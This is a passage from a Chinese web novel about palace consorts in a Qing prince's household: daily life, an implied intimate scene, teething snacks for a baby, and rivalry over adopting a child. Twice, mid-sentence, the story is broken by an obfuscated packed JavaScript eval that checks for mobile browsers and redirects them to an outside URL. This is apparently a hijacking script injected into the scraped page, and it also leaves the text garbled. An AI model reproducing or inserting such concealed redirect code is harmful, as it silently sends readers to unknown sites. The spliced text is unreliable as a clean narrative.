对此,宋时繁没什么意见,反正累都累一遭了,得了东西也不吃亏,恶心两句算什么?其余的武格格和郭格格也没什么反应,倒是听说李格格那头得了东西又闹了一场呢,不过这就不关宋时繁的事了。 86. 有完没完? 就在宋时繁拖着即将散架的身躯回到自己的小院儿里,接过白薇递来的热茶,刚准备歇口气儿的时候,门外忽然传来了石桥的通报声。 “格格,主子爷来了。” 紧接着,伴随一声声“主子爷吉祥”的问好声,四爷就出现在了宋时繁的眼前。 宋时繁不得不颤巍巍地起身给四爷行礼。 “奴才给四爷请安,四爷吉祥。” 此时,俯下身子请安的宋时繁心里只有一个念头:到!底!还!有!完!没!完!了! 这夫妻两个怎么就丝毫不给人留休息的时间呢?瞧不见她都已经快站不住了吗?腿都抖得跟面条似的了...瞧!不!见!吗! 显然,四爷瞧见了,而且,他不光瞧见了还笑着打趣了一句:“怎么抖成这样了?就算见到爷高兴,也用不着这么激动吧?” 激动你大爷! 宋时繁也不管四爷有没有叫她免礼,看了四爷一眼而后自顾自地站起了身子,还十分突兀地笑了一下。 四爷倒是没在意宋时繁的无礼,准确地说他压根就没注意到宋时繁无礼了,相反,他刚刚就是故意在逗弄宋时繁,想瞧一瞧她生气的小模样,没想到这小格格居然不气反笑,这会子却是轮到四爷有些摸不着头脑了。 “你笑什么呢?”四爷耐不住性子问了一句。 宋时繁又哼了一声没说话,心道,笑你幸好是生在封建社会,否则肯定要你好看! 宋时繁没搭理四爷,还把身子整个儿歪在软榻上,这是打算摆烂了。 四爷却不肯轻易放过宋时繁,大手一伸就将宋时繁捞到了怀里,宋时繁原本躺得好好的,忽然被打扰,气急之下还冲着四爷龇了龇牙,一排白色的小牙齿整整齐齐地露了出来,看不出一点儿威慑力,甚至还有些可爱。 鬼使神差的,四爷微微曲起一根手指敲了敲宋时繁的门牙。 ...... 宋时繁也不客气,反口就咬住了四爷伸过来的手指最前端的那截儿指关节,这会子倒不全是威胁了,宋时繁的眼神里还带着些莫名的情绪,看得四爷不由自主地滚动了下喉结。 四爷也不含糊,将宋时繁掉了一个个儿,直接抱起来就到了内室里的床榻上。 宋时繁装模作样地挣扎了两下,然后便由着四爷施为了,毕竟四爷最近来得这么勤,而且每次都要跟她和谐一番,她已经快习惯了。 只不过今日宋时繁回来到现在还没来得及卸妆,身上戴的首饰物品也没取下来,更别提穿着的衣裳了,外衫鞋袜一件不落,就这么叮铃咣啷地被四爷整整齐齐放到了床榻上。 宋时繁试图阻止,最起码让她先洗漱一番换换衣裳不是? 可惜,四爷却觉得这会子穿戴整齐的宋时繁竟是别有一番滋味儿,若是再由着他一件一件将衣裳首饰脱下来肯定更有意趣,甚至,四爷还不许奴才们把灯吹灭,势必要体味一下灯下看美人的场景。 宋时繁...得,先前四爷在白日里拉着她胡闹那次,宋时繁现在想起来脸颊都觉着烧得慌呢,今日又... 好在这次是晚上,宋时繁只能在心里这样安慰自己了。 不过,宋时繁显然是低估了男人的恶趣味。 直到宋时繁整个人红得像是只煮熟的虾子,浑身都跟着战栗起来,还用颤抖着跟四爷求饶了好久,最后连声音都沙哑了,几乎连不成完整的句子时,四爷才勉强算是放过了宋时繁。 然后,宋时繁就看见了散落一地的衣物,以及被四爷情动时的大掌拂到地上的首饰,几样银饰倒是还好,只是有一根玉簪碎成了两半,宋时繁心疼坏了,她可没几根像样的玉簪,眼瞅着又少了一根。 于是乎,宋时繁狠狠瞪了四爷这个罪魁祸首一眼。 四爷自知理亏,难得不好意思起来,转念又想到宋时繁此人眼皮子也忒浅了,一根质地不怎么好的玉簪而已,竟然胆子这样肥,还敢瞪爷! 但四爷向来口是心非,转过脸来又赏赐了宋时繁不少好东西,直把宋时繁乐得见牙不见眼了。 嗯,是日常带着宋时繁长见识的四爷没错了。 彼时,宋时繁抱着首饰匣子摸摸这个又摸摸那个,倒是有另外的想法。 该怎么说呢,她刚开始还觉得自己这份工作挺难干的,毕竟小妾不好混啊,如今再一瞧,工作再难也架不住老板们大方呀,瞧瞧,她今个儿一天可得了两回赏了,虽说眼下累得都快散架了,但老板们如此识趣,让她怎么能不高兴呢? 赏花宴之后,府上倒是安生了一段时间。 宋时繁照旧窝在自己的小院子儿里吃吃喝喝,而且除此以外,每日不是在院子里做运动就是跟来福赛跑,一人一狗绕着院子跑得不亦乐乎。 每每这个时候,大格格便乐得直拍手,大格格看着瘦弱,可小手却有劲儿得很,仿佛不知道疼似的,两个手掌能拍得啪啪作响,也是宋时繁嘱咐奶娘们多抱着大格格到外头来转一转,所以大格格养成了每天都要出门玩耍的习惯,宋时繁便干脆将自己活动身体的时间跟大格格出门透气的时间安排在一起,故而每日清晨和午后的时候,宋时繁的小院儿都热闹无比。 闲暇时候,宋时繁还亲自给大格格鼓捣辅食,又指挥着膳房的太监给大格格做出了磨牙棒来。 如今大格格已经出牙了,长牙的时候难免会觉得痒痒,想咬东西,府上倒是也有提供给大格格磨牙用的东西,宋时繁从前还真没有见过,是做成一个银手镯的样子,上头坠着根玉石棒子,将手镯套在小孩儿的手上,小孩儿牙痒痒的时候自然就会寻摸着玉石棒子咬了。 可宋时繁觉得那东西入口不干净,毕竟清朝又没有那么先进的消毒手段,哪怕用沸水煮了也不能做到完全消毒,而且万一玉石棒子碎了,又或者衔接处不牢固脱落了,叫大格格吞下去了怎么办?更何况大格格还这么小呢,免疫力又不好,宋时繁想了又想还是觉得算了,将这些玉石磨牙棒一概收了起来,不许大格格用。 但也不能不让大格格磨牙,于是宋时繁便想起给大格格做磨牙棒来,用吃的磨牙,哪怕大格格不小心咽了下去也没关系,既安全又卫生。 紧跟着,宋时繁研究了许久,才算是将磨牙棒做了出来。 其实这个时间原本可以缩短的,但是宋时繁高估了自己,也低估了膳房的太监们。 一开始,宋时繁只知道自己闷头弄,可奈何她是个只会吃不会动手的,试了好多回,不是软了就是不成型,总之想给大格格用来磨牙是不太现实的,最后是膳房里专门负责做点心的鲁太监看了几次宋时繁行事,又询问了宋时繁想要的样子,实验了两次就成功做出了宋时繁想要的效果来。 这位鲁太监就是记得宋时繁的喜好,每日专门给宋时繁做点心还得了宋时繁厚赏的那位太监。 之后,鲁太监举一反三,又用蔬果汁子调出来好些口味,一应做成磨牙棒给宋时繁呈了上去,自然,又得了宋时繁的赏,不过这次宋时繁赏得就光明正大了,也没有背着人,毕竟借着大格格倒是无妨,只是仍旧不高调罢了,值得一提的是,四爷听说此事后,也夸了膳房一句,倒算是给鲁太监长脸了。 宋时繁拿到磨牙棒的时候,自己咬着试了试,觉得很不错,便给大格格咬,大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14009479|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格格喜欢极了,拿到就不肯撒手,宋时繁还给来福分了一半,只不过来福的牙比大格格的好用,没多会儿功夫就“嘎嘣嘎嘣”吃完了,无奈,宋时繁只好命令曹三宝控制来福吃磨牙棒的数量,一天只能给它两根,免得把来福撑着。 宋时繁这头倒是岁月静好,只是那边厢李格格却不安生了。 想想也是,眼看着她没两个月就要临盆了,偏她筹谋的事还没影儿呢,她能不急吗? 但李格格急得跟热锅上的蚂蚁似的也没辙,她总不能将肚子里的孩子硬塞给福晋吧! 思及此处,李格格愈发着急上火了,宋时繁偶然一次在花园里撞见她的时候,就瞧见李格格的嘴角起了好几个大泡,光看着都吓人,但李格格一见着宋时繁就立马用帕子遮住了脸。 “李妹妹出来散步啊,如今妹妹月份大了,福晋免了你的请安,咱们倒是许久没见过了。”既然迎面撞见了,也不能招呼都不打一个,宋时繁只好假装没看出来李格格的异样,笑着同她说话。 李格格却是捂着帕子不肯撒手,只含糊敷衍了宋时繁两句,便匆匆告辞了,宋时繁看着李格格的背影一时间若有所思。 后来,宋时繁再见到四爷的时候便装作若无其事地提了一嘴,先是回忆一番自己生产时的凶险,又是险些难产又是差点一尸两命的,直说得四爷脸都跟着白了白,这才不动声色地提及李格格如今月份大了,怕是要格外注意,不若日日让太医过来请个平安脉,又或者提早找大夫过府住着,万一有什么意外发生,也不愁突然之间找不到大夫。 四爷想了想觉得是这么个理儿,而且本也该选稳婆和奶娘入府了,如今虽然早了些,可宋时繁说得对,虽说李格格向来康健,但不怕一万就怕万一,还是早点预备着得好。 不光如此,四爷自己去看望李格格的次数也多了起来,见李格格果然百般不适,更觉宋时繁说得有道理,又指派了自己的奶嬷嬷到李格格身边看顾一二。 李格格见四爷如此关心重视她这一胎,心下熨帖,又想起孩子的事儿来,既然福晋那边难以下功夫,不若她直接求了四爷,福晋再怎么,也得听四爷的不是?若是四爷发了话让福晋养着她的女儿,就算福晋不乐意也得好生替她养孩子。 不想四爷听了这话却没有一口应下,而是狐疑地看了李格格一眼。 怨不得四爷起疑心,他自己就是从小被额娘送给了佟佳贵妃抚养,造成了如今养母不在,生母不亲的局面,他算是吃尽了□□的苦楚,自然不愿意自己的孩子跟自己一样,再说了,都说母子连心,哪有做额娘的将孩子往外头推的?于是,四爷不由自主怀疑起李格格的目的来。 李格格看着四爷的眼神心下一惊,当即就噙住泪水开口道:“爷,是奴才奢求了,只是孩子托生在奴才的肚子里,一出生便是低人一等,若能交予福晋抚养,也算这孩子有福气了,更何况先前,奴才遭了大劫难,险些都没留住这个孩子,奴才实在是怕了,也隐隐觉得是不是奴才跟这孩子母女缘分浅薄,便想着,要是孩子能得福晋照拂一二也是好的...” 不得不承认,李格格是刻意提起先前的事,其意就是想让四爷愧疚,毕竟虽然四爷私底下赏了不少东西算作弥补,可四爷包庇福晋的行为不言而喻,故而李格格才说出这番话来。 四爷听了果然面色好看了些,见原先明媚泼辣的李格格竟也有这样楚楚可怜的时候,心也跟着软了不少,但他还是没有一口答应,只说“再想想”。 但李格格得了这句话已经够了,毕竟四爷没有一口回绝不是? 偏不想,最后竟是武格格成全了她。 87. 纯纯竹篮打水 这日,众人给福晋请安过后,武格格却故意拖延了脚步,慢了片刻,顺势留了下来,宋时繁见状便同郭格格一起离开了正院。 待人都走光了,福晋才笑着开口吩咐身边的芸香:“芸香,给武格格端一盏杏仁甜酪来,”说罢,又看向武格格,“这是膳房一早送来的,我倒是不大喜欢吃甜的,恍惚记得你好甜口,你尝尝这个好不好,合不合你的口味。” “多谢福晋,福晋这里的东西自然都是极好的,看来,奴才今日有口福了。”武格格笑吟吟地接过芸香呈上来的杏仁甜酪,执着小勺浅尝了一口。 福晋坐在上首瞧着武格格吃甜酪,心下倒也不着急。 既然武氏自己借口留了下来,不怕她一会儿不主动表明来意。 果不其然,一小碗甜酪还没见底,武格格便按耐不住了。 “奴才逾矩,不知福晋能不能再赏奴才一碗杏仁甜酪,奴才想给大格格送去,她是小孩子,说不定也同奴才一样,喜欢这甜酪呢。” 福晋闻言不由侧目,“大格格如今都可以进食了?时间倒是过得挺快。” 武格格状似不明白福晋话里的意思,自顾自道:“是呢,福晋有所不知,大格格长得可招人稀罕了,说起来,奴才真羡慕宋姐姐,能有个这样活泼可爱的孩子陪伴在侧,昨个儿主子爷还跟奴才提起呢,说大格格现在不光吃奶厉害,而且已经能喂下去一整碗蛋羹了,胃口好着呢,身子也比先前好多了。” “爷倒是疼爱孩子,百忙之中的,连这点子小事都放在心上...”福晋听了不免有些落寞,四爷有多久没来瞧她了?上一次还是十五那天,算一算也有半个月那么久了... 福晋的眼神闪了闪,武格格恍若未闻,仍旧继续说着大格格。 “福晋不要怪罪奴才,是奴才先前在宋姐姐那里见过大格格一次,心里喜欢得紧,但宋姐姐几乎不带大格格出门,奴才也不好总是上门打扰,奴才见不着大格格,只好等主子爷来的时候多问了两嘴,不过奴才却是不担心的,要不了多久,咱们府上的孩子就要多起来了,等李姐姐和郭妹妹临盆以后,那时府上可不就要热闹了?” “是啊,到时候就热闹了...”福晋眸色晦暗不明,心里头不知道在琢磨什么。 武格格瞧着福晋的神色,微微弯了弯唇角,而后仿佛不经意间开口道:“福晋您还说呢,等什么时候您给咱们府上添个丁,那才是真正热闹起来了呢,奴才到时天天给小阿哥送甜酪吃!”武格格一向以天真示人,这话由她口中说出来倒是不突兀,还引得福晋抿唇笑了起来。 “什么话都敢说,没得让奴才们觉得你轻浮。”福晋嗔怪了一句,但不得不承认,福晋实在是太想有一个孩子了,哪怕是先抱养一个来呢?为此,她甚至将两个侍妾都扒拉到身边来了,也不管什么脸面不脸面了,偏她正院里始终就是没信儿,外头的倒是一个接一个地怀上了。 思及此,福晋也有些怀疑自己了,莫非她这辈子就是子嗣缘浅薄不成? 不想,武格格此时又开口了:“瞧奴才这嘴,着实该打!福晋教训的是,按说,府里的孩子自然都是福晋的孩子,方才是奴才胡言乱语呢,还请福晋恕罪。”说罢,武格格还站起了给福晋福了福身,以表歉意。 福晋听了这话却仿佛突然间通透了,眼睛里都有光了,是啊,四爷的孩子都是她的孩子,干嘛非要等侍妾怀孕,既然打算抱养,抱谁的孩子不是抱? 武格格见福晋听懂了她的意思,心下暗自高兴,面上却不露声色,又陪着福晋说了会儿话,然后才带着福晋赏下来的甜酪告辞了。 其实武格格的想法很简单,她就是不满意郭格格有孕,虽然二人一起进的四爷后院,身份也一样,可郭氏算什么?怎么跟她比?她一进府就承了宠,要家世有家世,要头脑有头脑,哪怕是侧福晋的位置也可以想一想的,凭什么那起子见风使舵的人要去捧着郭氏?想那郭氏以前过得是什么日子?要不是她念在住着一个院子,偶尔接济郭氏一二,恐怕郭氏早就被磋磨死了,连个热汤热饭都不定能吃得上呢。 如今郭氏倒是神气起来了,归根结底,还不是因为郭氏肚子里的那块肉,可她也能生啊!只不过郭氏运气好,一次就有了,这叫武格格怎么不恨? 所以她才对着福晋说了许多似是而非的话,福晋这个人,看着精明,实则脑子里不知道在想什么,好挑拨得很,这不,她三言两语便让福晋打起了别人孩子的主意。 武格格倒是笃定福晋会选择郭氏的孩子,毕竟郭氏一没宠爱二没家世,是最好的选择了,偏偏她忘了,福晋想法别扭得很,她确实如武格格所想准备从怀着孕的两位格格处抱一个孩子来正院,但她心里选中的是李格格,至于原因嘛,自然是看不惯李格格得宠嚣张的模样,抢走她的孩子正好可以让她认清自己的身份。 这次,却是武格格打错了算盘。 另一边,因着宋时繁和郭格格两人回去有一段是要同路的,路途上也不好一直沉默,可奈何郭格格是个寡言的性子,故而,宋时繁便率先挑起了话头。 “郭妹妹的身孕快满三个月了吧?我瞧着妹妹倒是丰腴了不少。” 郭格格原本就是丰满那一挂的美人儿,眼下有了身孕倒是显得愈发珠圆玉润起来,人看着都相较从前更加温柔了些,当然,郭格格从前也是个恬淡的人,只不过那时候瞧着更多的是内敛,这会子竟是似水一般的柔和。 郭格格闻言脸上漾出些清浅的笑意来:“叫宋姐姐笑话了,除却刚诊出有孕的时候吐了一阵子,如今胃口倒是越来越好了,有时候夜里也会饿,若是不吃都睡不着觉呢。” “你有胃口是好事,可见你肚子里的是个知道心疼额娘的,这会子就已经体贴上了。”宋时繁笑着开口。 郭格格用手轻轻贴上了已经有些显怀的肚子,柔声道:“宋姐姐说的是呢,若是能得一个懂事体贴的小格格,我就心满意足了。” 宋时繁生怕郭格格错解她的意思,忙同她解释:“我不是那个意思,我...” 不想,郭格格却比宋时繁更慌乱,“啊,宋姐姐别误会,是我自己想要一个女儿,”郭格格笑着道:“女儿好着呢,没有那么多的顾虑,只需安安生生长大就行了,日后,她阿玛自会为她安排前程。” 同样是做额娘的,宋时繁怎么会不理解郭格格的心理呢?但她却不认同女孩子只用老老实实等着长大嫁人的话,便笑着岔开了这个话题。 “那也是,若你这胎真得了个女儿,那就跟我们大格格岁数相差不大了,姐妹俩个可以一起读书玩耍了,到那时岂不热闹?怕是有我们两个头疼的时候了。” 郭格格一想到那样的场景就觉着分外有趣,两个小姑娘手拉着手站在一起不知道多可爱呢。 “那敢情好,若是宋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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故而,郭格格既然先向她投出了橄榄枝,她不介意抓住的。 郭格格自然听出了宋时繁的言下之意,忙正色道:“自然是出自一片真心真意,还望宋姐姐不要嫌弃妹妹。” “既如此,我也不跟你见外了。”说着,宋时繁从手上褪下一个绞丝玉镯,这是前段日子四爷赏给她的,原是一对质地极好的玉镯,但她怕招摇,所以日常出门只带着其中一个在腕子上,如今给郭格格做定礼正好,“这个镯子原是一对的,这一个算是我给你腹中孩子的见面礼,我那儿还收着个一样的,如此,你也不用怕我反悔了。” 郭格格也不是个不识货的,自然看得出这枚玉镯虽算不上万分贵重,但也绝不是凡品,不过,宋时繁既然诚心给了,她是万万不能推辞的,于是乎,郭格格郑重其事地收下了镯子,还用帕子包了起来,小心翼翼地塞进了怀中。 宋时繁见状就笑她:“瞧你这样小心,以后有好的我再给你孩儿留着便是,你还怕我少了我侄儿的东西吗?” 郭格格腼腆一笑,然后才缓缓开口:“这个不一样的,是姐姐给她的见面礼,意义不同呢。” 宋时繁便也不多说什么了,只开口道:“今天高兴,算是个好日子,若是妹妹不累就去我那儿坐坐吧?我跟你说,大格格如今能翻身了,可有意思了,妹妹去瞧瞧不?” 郭格格自然无有不应,二人相携着一同去了宋时繁的院子里。